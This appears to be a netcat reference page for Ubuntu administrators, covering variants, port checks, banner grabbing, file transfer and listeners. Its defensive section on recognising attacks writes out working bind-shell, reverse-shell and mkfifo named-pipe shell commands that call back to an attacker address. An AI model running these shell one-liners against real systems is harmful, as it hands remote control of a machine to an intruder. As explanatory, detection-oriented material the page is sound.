netcat (nc)
netcat on Ubuntu: test whether a port is open, grab banners, move files over a raw connection, and recognise bind/reverse shells in your logs.
Which nc you have
“netcat” is three different programs that share a command name. The flags differ, so check first:
nc -h 2>&1 | head -1
| Variant | Package | Tell |
|---|---|---|
| OpenBSD netcat | netcat-openbsd (Ubuntu default) | -N, -U, -W exist; no -e |
| GNU/traditional | netcat-traditional | has -e to run a program |
| Ncat (Nmap) | nmap / ncat | separate ncat command, has --ssl, --exec |
Most of what follows is OpenBSD nc, the one you get with a fresh Ubuntu. Install another with sudo apt install netcat-traditional or sudo apt install ncat.
Is this port open?
The everyday use: check a port without a browser or client.
nc -zv 10.0.0.5 22 # one port: -z scans without sending data, -v reports
nc -zv 10.0.0.5 20-25 # a small range
nc -zvw3 10.0.0.5 443 # -w3: give up after 3 seconds (don't hang)
nc -zvu 10.0.0.5 53 # -u: UDP instead of TCP
-z is the “zero-I/O” scan mode — it connects, notes the result, and closes.
Grab a banner
See what a service announces about itself:
nc 10.0.0.5 22 # SSH prints its version banner on connect
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc 10.0.0.5 80 # raw HTTP request, read the headers back
Move data over a raw connection
Handy when scp isn’t available but a port is. Receiver listens first, sender connects.
# receiver:
nc -l -p 9000 > backup.tar.gz
# sender:
nc -N 10.0.0.5 9000 < backup.tar.gz # -N closes the socket when stdin ends (OpenBSD nc)
Send a whole directory by piping tar through the connection:
# receiver:
nc -l -p 9000 | tar xzf -
# sender:
tar czf - /etc/nginx | nc -N 10.0.0.5 9000
Open a listener
A quick throwaway server, e.g. to confirm a firewall rule lets traffic through:
nc -lvp 9000 # listen on 9000, verbose, print what connects
nc -lvup 9000 # same over UDP
Bind and reverse shells
Attackers use nc to get a shell, so you should recognise one in a process list or on the wire. The classic forms:
# bind shell — target LISTENS and serves a shell; attacker connects to it:
nc -lvp 4444 -e /bin/bash # only netcat-traditional / ncat have -e
# reverse shell — target CONNECTS BACK to the attacker's listener (beats inbound firewalls):
nc 10.0.0.9 4444 -e /bin/bash
OpenBSD nc has no -e, so the same thing is done with a named pipe:
mkfifo /tmp/f; nc 10.0.0.9 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1
What to watch for: an nc (or ncat/socat/bash -i) process holding an outbound connection to an odd port, a listener you didn’t start (sudo ss -tulpn), or a mkfifo paired with nc in shell history. Outbound shells beat inbound firewall rules, so egress filtering and process review matter more than blocking inbound ports. The full offensive side lives in the Pentesting Cheatsheets netcat page.
Flags
| Flag | Effect |
|---|---|
-l | Listen mode (server) |
-p | Port (-lp 9000) |
-z | Zero-I/O scan — just test the port |
-v / -vv | Verbose / more verbose |
-u | UDP instead of TCP |
-w <secs> | Timeout for connect and for idle |
-N | Close the socket when stdin ends (OpenBSD, for file transfer) |
-k | Keep listening after a client disconnects |
-n | No DNS resolution (faster) |
-e <prog> | Run a program on connect (traditional/ncat only) |
References
man nc— the OpenBSD manual on your system- Ncat users’ guide — for the
ncatvariant - Offensive use: netcat in the Pentesting Cheatsheets